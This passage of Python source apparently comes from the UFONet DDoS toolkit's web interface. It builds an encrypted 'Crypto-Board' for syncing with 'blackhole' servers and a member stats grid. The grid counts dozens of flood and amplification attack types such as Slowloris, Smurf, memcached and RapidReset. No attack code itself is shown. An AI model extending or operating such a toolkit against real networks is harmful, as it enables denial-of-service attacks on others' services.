  762. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for posts on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  763. if device_state == "OFF":
  764. board_panel = ""
  765. else:
  766. with open(self.board_file) as f:
  767. for line in f:
  768. line = line.strip()
  769. self.board_warning += "\n" + " " + line + " " + "\n"
  770. f.close()
  771. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  772. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  773. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  774. if device_state == "OFF":
  775. remove_profile = ""
  776. else:
  777. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  778. return self.pages["/header"] + """<script language="javascript">
  779. function BoardProfile() {
  780. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  781. }
  782. function RemoveProfile() {
  783. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  784. }
  785. function Decrypt_board(){
  786. board_key=document.getElementById("board_key").value
  787. if (document.getElementById('filter_all').checked) {
  788. filter = document.getElementById('filter_all').value;
  789. }
  790. if (document.getElementById('filter_general').checked) {
  791. filter = document.getElementById('filter_general').value;
  792. }
  793. if (document.getElementById('filter_opsec').checked) {
  794. filter = document.getElementById('filter_opsec').value;
  795. }
  796. if (document.getElementById('filter_faq').checked) {
  797. filter = document.getElementById('filter_faq').value;
  798. }
  799. if (document.getElementById('filter_bugs').checked) {
  800. filter = document.getElementById('filter_bugs').value;
  801. }
  802. if (document.getElementById('filter_media').checked) {
  803. filter = document.getElementById('filter_media').value;
  804. }
  805. if(board_key == "") {
  806. window.alert("You need to enter a valid key (provided by someone)");
  807. return
  808. }else{
  809. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  810. runCommandX("cmd_decrypt_moderator_board",params)
  811. document.getElementById("nb1").style.display = "none";
  812. }
  813. }
  814. function OptionsCheck() {
  815. if (document.getElementById('read').checked) {
  816. document.getElementById('board_read').style.display = 'block';
  817. document.getElementById('board_send').style.display = 'none';
  818. document.getElementById('board_warning').style.display = 'none';
  819. }
  820. else if(document.getElementById('write').checked) {
  821. document.getElementById('board_send').style.display = 'block';
  822. document.getElementById('board_warning').style.display = 'block';
  823. document.getElementById('board_read').style.display = 'none';
  824. }
  825. }
  826. function Sync_panel(){
  827. document.getElementById("sync_panel_block").style.display = "block";
  828. }
  829. function SyncBoard(){
  830. document.getElementById('nb1').style.display = 'none';
  831. board_source=document.getElementById("board_source").value
  832. if(board_source == "") {
  833. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  834. return
  835. }else{
  836. params="board_source="+escape(board_source)
  837. runCommandX("cmd_sync_board",params)
  838. setTimeout("location.reload()", 10000)
  839. }
  840. }
  841. </script>
  842. <script language="javascript">
  843. function SendMessage() {
  844. board_source=document.getElementById("board_source_send").value
  845. board_key=document.getElementById("board_key").value
  846. stream_txt=document.getElementById("stream_txt").value
  847. board_selector=document.getElementById("board_selector");
  848. board_topic = board_selector.options[board_selector.selectedIndex].value;
  849. if(board_key == "") {
  850. board_key='"""+str(self.crypto_key)+"""';
  851. }else{
  852. if(stream_txt == "") {
  853. window.alert("You need to enter a message! (~ 1-140 characters)");
  854. return
  855. }else{
  856. if(board_source == "") {
  857. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  858. return
  859. }else{
  860. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  861. runCommandX("cmd_send_message_board",params)
  862. setTimeout("location.reload()", 10000)
  863. }
  864. }
  865. }
  866. }
  867. </script>
  868. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  869. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  870. <br>
  871. <center>
  872. <table cellpadding="5" cellspacing="5"><tr>
  873. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Crypto-Board!. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src='data:image/png;base64,"""+self.board_img+"""'></a></td><td>
  874. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  875. </td></tr></table></tr></table>
  876. <hr><br>"""+board_panel+"""
  877. """ + self.pages["/footer"]
  878. def generate_grid(self):
  879. with open(self.grid_file) as f:
  880. for line in f:
  881. line = line.strip()
  882. f.close()
  883. mothership_members = 0 # mothership_members stats bonus
  884. unknown_members = 0 # unknown (or non decrypted) mothership members
  885. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>MONLIST:</u></td><td align='center'><u>FRAGGLE:</u></td><td align='center'><u>SNIPER:</u></td><td align='center'><u>UFOACK:</u></td><td align='center'><u>UFORST:</u></td><td align='center'><u>DROPER:</u></td><td align='center'><u>OVERLAP:</u></td><td align='center'><u>PINGER:</u></td><td align='center'><u>UFOUDP:</u></td><td align='center'><u>MEMCACHED:</u></td><td align='center'><u>CHARGEN:</u></td><td align='center'><u>CLDAP:</u></td><td align='center'><u>SSDP:</u></td><td align='center'><u>QOTD:</u></td><td align='center'><u>TFTP:</u></td><td align='center'><u>WSDISCO:</u></td><td align='center'><u>COAP:</u></td><td align='center'><u>MSSQL:</u></td><td align='center'><u>ARMS:</u></td><td align='center'><u>PLEX:</u></td><td align='center'><u>NETBIOS:</u></td><td align='center'><u>RIPV1:</u></td><td align='center'><u>MIDDLEBOX:</u></td><td align='center'><u>SLOWREAD:</u></td><td align='center'><u>GOLDENEYE:</u></td><td align='center'><u>RAPIDRESET:</u></td><td align='center'><u>FINFLOOD:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  886. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  887. if grid_msg_sep in m:
  888. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  889. m = m.split(grid_msg_sep)
  890. mothership_members = mothership_members + 1
  891. grid_nickname = m[0][0:12]
  892. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  893. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  894. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  895. grid_totalchargo = m[2][0:4] # total chargo
  896. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  897. grid_dorking = m[3][0:4] # dorking
  898. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  899. grid_transferred = m[4][0:4] # transferred
  900. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  901. grid_maxchargo = m[5][0:4] # maxchargo
  902. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  903. grid_missions = m[6][0:4] # missions
  904. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  905. grid_attacks = m[7][0:4] # attacks
  906. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  907. grid_loic = m[8][0:4] # loic
  908. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  909. _new_mod_names = ['memcached','chargen','cldap','ssdp','qotd','tftp','wsdisco','coap','mssql','arms','plex','netbios','ripv1','middlebox','slowread','goldeneye','rapidreset','finflood']
  910. _np = "2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q=="[0:4]
  911. _np = ''.join(random.sample(_np,len(_np)))
  912. grid_memcached = grid_chargen = grid_cldap = grid_ssdp = grid_qotd = grid_tftp = grid_wsdisco = grid_coap = grid_mssql = grid_arms = grid_plex = grid_netbios = grid_ripv1 = grid_middlebox = grid_slowread = grid_goldeneye = grid_rapidreset = grid_finflood = _np
  913. if version > 18: # v1.5
  914. grid_loris = m[9][0:4] # loris
  915. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  916. grid_ufosyn = m[10][0:4] # ufosyn
  917. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  918. grid_spray = m[11][0:4] # spray
  919. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  920. grid_smurf = m[12][0:4] # smurf
  921. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  922. grid_xmas = m[13][0:4] # xmas
  923. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  924. grid_nuke = m[14][0:4] # nuke
  925. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  926. grid_tachyon = m[15][0:4] # tachyon
  927. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  928. grid_monlist = m[16][0:4] # monlist
  929. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  930. grid_fraggle = m[17][0:4] # fraggle
  931. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  932. grid_sniper = m[18][0:4] # sniper
  933. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  934. grid_ufoack = m[19][0:4] # ufoack
  935. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  936. grid_uforst = m[20][0:4] # uforst
  937. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  938. grid_droper = m[21][0:4] # droper
  939. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  940. grid_overlap = m[22][0:4] # overlap
  941. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  942. grid_pinger = m[23][0:4] # pinger
  943. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  944. grid_ufoudp = m[24][0:4] # ufoudp
  945. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  946. if version > 26: # v2.0+: 18 extra mods at positions 25..42, contact at 43, id at 44
  947. for _i, _name in enumerate(_new_mod_names):
  948. try:
  949. _v = m[25 + _i][0:4]
  950. _v = ''.join(random.sample(_v,len(_v)))
  951. except Exception:
  952. _v = _np
  953. if _name == 'memcached': grid_memcached = _v
  954. elif _name == 'chargen': grid_chargen = _v
  955. elif _name == 'cldap': grid_cldap = _v
  956. elif _name == 'ssdp': grid_ssdp = _v
  957. elif _name == 'qotd': grid_qotd = _v
  958. elif _name == 'tftp': grid_tftp = _v
  959. elif _name == 'wsdisco': grid_wsdisco = _v
  960. elif _name == 'coap': grid_coap = _v
  961. elif _name == 'mssql': grid_mssql = _v
  962. elif _name == 'arms': grid_arms = _v
  963. elif _name == 'plex': grid_plex = _v
  964. elif _name == 'netbios': grid_netbios = _v
  965. elif _name == 'ripv1': grid_ripv1 = _v
  966. elif _name == 'middlebox': grid_middlebox = _v
  967. elif _name == 'slowread': grid_slowread = _v
  968. elif _name == 'goldeneye': grid_goldeneye = _v
  969. elif _name == 'rapidreset':grid_rapidreset = _v
  970. elif _name == 'finflood': grid_finflood = _v
  971. try:
  972. grid_contact = "<a href=javascript:alert('"+str(m[43][0:12])+"');>View</a>"
  973. except:
  974. grid_contact = "invalid"
  975. try:
  976. grid_id = m[44]
  977. except:
  978. grid_id = "invalid!"
  979. else:
  980. try:
  981. grid_contact = "<a href=javascript:alert('"+str(m[25][0:12])+"');>View</a>" # js contact view (obfuscation)
  982. except:
  983. grid_contact= "invalid"
  984. try:
  985. grid_id = m[26] # id (plain id)
  986. except:
  987. grid_id = "invalid!"
  988. if version == 18: # v1.4
  989. grid_loris = m[9][0:4] # loris
  990. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  991. grid_ufosyn = m[10][0:4] # ufosyn
  992. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  993. grid_spray = m[11][0:4] # spray
  994. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  995. grid_smurf = m[12][0:4] # smurf
  996. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  997. grid_xmas = m[13][0:4] # xmas
  998. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  999. grid_nuke = m[14][0:4] # nuke
  1000. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1001. grid_tachyon = m[15][0:4] # tachyon
  1002. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1003. grid_monlist = m[16][0:4] # monlist
  1004. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1005. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1006. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1007. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1008. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1009. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1010. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1011. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1012. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1013. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1014. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1015. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1016. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1017. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1018. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1019. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1020. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1021. try:
  1022. grid_contact = "<a href=javascript:alert('"+str(m[17][0:12])+"');>View</a>" # js contact view (obfuscation)
  1023. except:
  1024. grid_contact= "invalid"
  1025. try:
  1026. grid_id = m[18] # id (plain id)
  1027. except:
  1028. grid_id = "invalid!"
  1029. if version == 17: # v1.3
  1030. grid_loris = m[9][0:4] # loris
  1031. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1032. grid_ufosyn = m[10][0:4] # ufosyn
  1033. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1034. grid_spray = m[11][0:4] # spray
  1035. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1036. grid_smurf = m[12][0:4] # smurf
  1037. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1038. grid_xmas = m[13][0:4] # xmas
  1039. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1040. grid_nuke = m[14][0:4] # nuke
  1041. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1042. grid_tachyon = m[15][0:4] # tachyon
  1043. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1044. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1045. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1046. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1047. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1048. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1049. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1050. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1051. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1052. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1053. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1054. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1055. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1056. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1057. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1058. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1059. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1060. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1061. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1062. try:
  1063. grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
  1064. except:
  1065. grid_contact= "invalid"
  1066. try:
  1067. grid_id = m[17] # id (plain id)
  1068. except:
  1069. grid_id = "invalid!"
  1070. elif version == 16: # v1.2.1
  1071. grid_loris = m[9][0:4] # loris
  1072. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1073. grid_ufosyn = m[10][0:4] # ufosyn
  1074. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1075. grid_spray = m[11][0:4] # spray
  1076. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1077. grid_smurf = m[12][0:4] # smurf
  1078. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1079. grid_xmas = m[13][0:4] # xmas
  1080. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1081. grid_nuke = m[14][0:4] # nuke
  1082. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1083. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1084. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1085. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1086. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1087. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1088. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1089. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1090. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1091. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1092. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1093. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1094. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1095. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1096. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1097. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1098. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1099. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1100. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1101. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1102. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1103. try:
  1104. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  1105. except:
  1106. grid_contact= "invalid"
  1107. try:
  1108. grid_id = m[16] # id (plain id)
  1109. except:
  1110. grid_id = "invalid!"
  1111. elif version == 15: # v1.2
  1112. grid_loris = m[9][0:4] # loris
  1113. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1114. grid_ufosyn = m[10][0:4] # ufosyn
  1115. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1116. grid_spray = m[11][0:4] # spray
  1117. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1118. grid_smurf = m[12][0:4] # smurf
  1119. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1120. grid_xmas = m[13][0:4] # xmas
  1121. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1122. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1123. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1124. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1125. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1126. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1127. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1128. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1129. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1130. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1131. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1132. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1133. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1134. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1135. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1136. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1137. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1138. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1139. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1140. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1141. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1142. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1143. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1144. try:
